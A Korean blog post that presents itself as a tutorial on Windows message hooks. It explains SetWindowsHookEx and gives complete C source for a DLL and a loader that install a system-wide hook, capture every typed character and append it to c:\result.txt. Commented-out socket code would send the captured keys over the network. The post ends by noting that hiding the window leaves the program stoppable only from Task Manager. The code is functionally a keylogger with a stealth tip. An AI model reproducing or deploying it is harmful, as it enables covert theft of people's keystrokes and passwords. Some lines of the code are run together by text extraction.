자료 저장소

간단한 메시지 훅 만들기

윈도우 메시지는 두개의 종류로 메시지를 발송한다.

SendMessage, PostMessage (자세한 사항은 API 참조)

그리고 이 메시지는 GetMessage가 받아서 가상 키 코드로 변환하여 각 루프에 따라 동작하도록 한다.

예를 들어 사용자가 'A'키를 눌렀다면 

WM_KEYDOWN
WM_CHAR
WM_KEYUP

위와 같이 3개의 메시지가 한꺼번에 발생한다.


메시지 훅 API

메시지 훅은 API가 제공하는 가장 강력한 기능중 하나 이다.
쓰레드로 가는 메시지도 가로챌수 있고 윈도우에서 발생하는 모든 메시지도 가로 챌 수 있다.
메시지 후킹을 하기 위한 가장 핵심함수는 아래와 같다.

SetWindowsHookExW(
    __in int idHook,
    __in HOOKPROC lpfn,
    __in_opt HINSTANCE hmod,
    __in DWORD dwThreadId);


idHook은 훅의 종류를 결정, lpfn은 지정한 이벤트가 발생했을때 그 처리를 부탁한 프로시저의 주소,
hMod는 lpfn이 있는 DLL의 시작 첫 주소를 가리킨다.
dwThreadId는 쓰레드 단위의 훅을 걸때 Thread의 ID를 저거주면 된다.

idHook에 가능한 입력중 핵심 메시지는 다음과 같다.

WH_CALLWNDPROC// 윈도우가 SendMessage로 메시지를 보내면 누군가 WH_CALLWNDPROC을 걸어 놓았는지 체크한다.
// 훅을 건 녀석이 있다면 해당 훅 프로시저를 부른다.
WH_CALLWNDPROCRET
// WH_CALLWNDPROC과 반대로 메시지를 보낸 후에 훅을 건 녀석이 있는지 확인하여 프로시저를 호출한다.
WH_GETMESSAGE
// 윈도우에 전송되어 있는 메시지를 GetMessage나 PeekMessage등으로 가져가려고 할 때 사용한다.
WH_KEYBOARD
// 입력 포커스가 없어도 키 입력을 가로챈다.



메시지 후킹

보편적으로 메시지를 후킹할 때에는 DLL에 훅 프로시저를 넣어 놓고 메시지를 후킹한다.
프로세스 단에서 실행하게되면 특정 프로세스에서만 발생하는 메시지밖에 받아 올 수 없기 때문에 모든 프로세스가 
접근가능한 DLL에 작성하여 모든 프로세스에서 훅프로시저가 작동하도록 한다.


키보드 메시지를 후킹하자!

책에 나온거에서 작동하지 않는 부분이 많아서 예제를 수정했다.(DLL 작성법은 따로 참조)

MStrack.DLL

#include <stdio.h> 
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>

#define BUFFER_SIZE 22

HINSTANCE hinst;

staticchar str[BUFFER_SIZE];
staticint count = 0;
static BOOL stop = FALSE;

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason,
LPVOID lpReserved)
{
if( dwReason == DLL_PROCESS_ATTACH )
{
hinst = hinstDll;
str[0] = 0;
}
returnTRUE;
}

__declspec( dllexport ) LRESULT CALLBACK GetMsgProc(
INT nCode,WPARAM wp,LPARAM lp)
{

HFILE hFile;
long msgTemp;
char strTemp[2];

WSADATA wsaData;
SOCKET sock;
SOCKADDR_IN sock_addr;

if( nCode >= 0 )
{
msgTemp = ( (MSG*)lp )->message;

if(msgTemp == (long)WM_CHAR)
{
count++;

if( count > 20 )
{

char a[5] = { 13, 10, 13, 10, 0 };
// MessageBeep(1);
hFile = _lopen("c:\\result.txt", OF_READWRITE);

if( hFile < 0 )
{ // 이미 있으면 이어 붙인다.
hFile = _lcreat("c:\\result.txt", 0);
_llseek( hFile, 0L, FILE_BEGIN);
}
else _llseek( hFile, 0L, FILE_END);

_lwrite( hFile, a, 5);
_lwrite( hFile, str, BUFFER_SIZE);
_lclose( hFile );

count = 0;
//
// if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
//{
// MessageBox(NULL,TEXT("error start"),TEXT("error start"),MB_OK);
// exit(-1);
//}

//sock = socket(AF_INET, SOCK_STREAM, 0);

//if(INVALID_SOCKET != sock)
//{
// memset(&sock_addr,0,sizeof(sock_addr));
// sock_addr.sin_family = AF_INET;
// sock_addr.sin_port = htons(9190);
// sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");

// //strcpy(msg,str);

// if(connect(sock, (SOCKADDR*)&sock_addr,sizeof(sock_addr)) == SOCKET_ERROR)
// MessageBox(NULL,TEXT("send error"),TEXT("send error"),MB_OK);
// else
// send(sock,str,strlen(str),0);
//

// closesocket(sock);
//}

//WSACleanup();

memset(str,0,sizeof(str));
}
else
{
strTemp[0] = ((MSG*)lp)->wParam;
strTemp[1] = 0;

strcat( str, strTemp);
}
}
}

return (stop)?TRUE:CallNextHookEx(NULL, nCode, wp, lp);
}


실행 루틴
#include <windows.h> 

LRESULT FAR PASCAL WndProc(HWND, UINT, UINT, LONG);

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpszCmdParam,
        int
nCmdShow)
// 윈도우 프로그램의 시작점 APIENTRY는 _stdcall 매크로
{
static TCHAR szAppName[] = TEXT("Hello World");
HWND hWnd;
MSG Msg;
WNDCLASS WndClass;

if(!hPrevInstance)
{
WndClass.cbClsExtra=0; //예약공간
WndClass.cbWndExtra=0; // 예약공간
WndClass.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); //윈도우의 배경색 지정
WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); // 윈도우 내에서 사용될 커서등록
WndClass.hIcon=LoadIcon(NULL,IDI_ASTERISK); // 타이틀바의 아이콘등록
WndClass.hInstance=hInstance; //윈도우 클래스를 등록하는 프로그램 번호
WndClass.lpfnWndProc=WndProc; // 메시지 처리 함수 지정
WndClass.lpszClassName=szAppName; //윈도우 클래스 이름을 문자열로 정의
WndClass.lpszMenuName=NULL; // 프로그램이 사용 할 메뉴 등록
WndClass.style=CS_HREDRAW | CS_VREDRAW;
RegisterClass(&WndClass); }

hWnd=CreateWindow(szAppName,TEXT("Hello"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL,hInstance,NULL);
ShowWindow(hWnd,nCmdShow);
UpdateWindow(hWnd);

while(GetMessage(&Msg,NULL,0,0)){ // 메시지 큐에서 메시지를 읽어들인다.
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}

return (int)Msg.wParam;

}

LRESULT FAR PASCAL WndProc(HWND hWnd, UINT iMessage, UINT wParam, LONG lParam)
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
HOOKPROC hGetMsgProc;
static HINSTANCE hinstDll;
static HHOOK hKeyHook;
staticint count = 0;

switch(iMessage){

case WM_CREATE : // 윈도우 생성과 동시에 호출되는 메시지

hinstDll = LoadLibrary(TEXT("MStrack.dll"));

if(!hinstDll)
{
MessageBox(hWnd,TEXT("ASDASD"),TEXT("ASDAD"),MB_OK);
ExitProcess(1);
}


hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll,"GetMsgProc");


hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);

if(!hKeyHook)
{
MessageBox(hWnd,TEXT("ASDASD"),TEXT("ASDAD"),MB_OK);
FreeLibrary(hinstDll);
ExitProcess(1);
}

return0;

case WM_DESTROY:
PostQuitMessage(0);
return0;
}

return DefWindowProc(hWnd,iMessage,wParam,lParam);
}
윈도우 생성 후에 SW_HIDE 메시지만 추가하면 이 루틴은 작업관리자에서만 멈출 수 있다..

댓글 로드 중…

최근에 게시된 글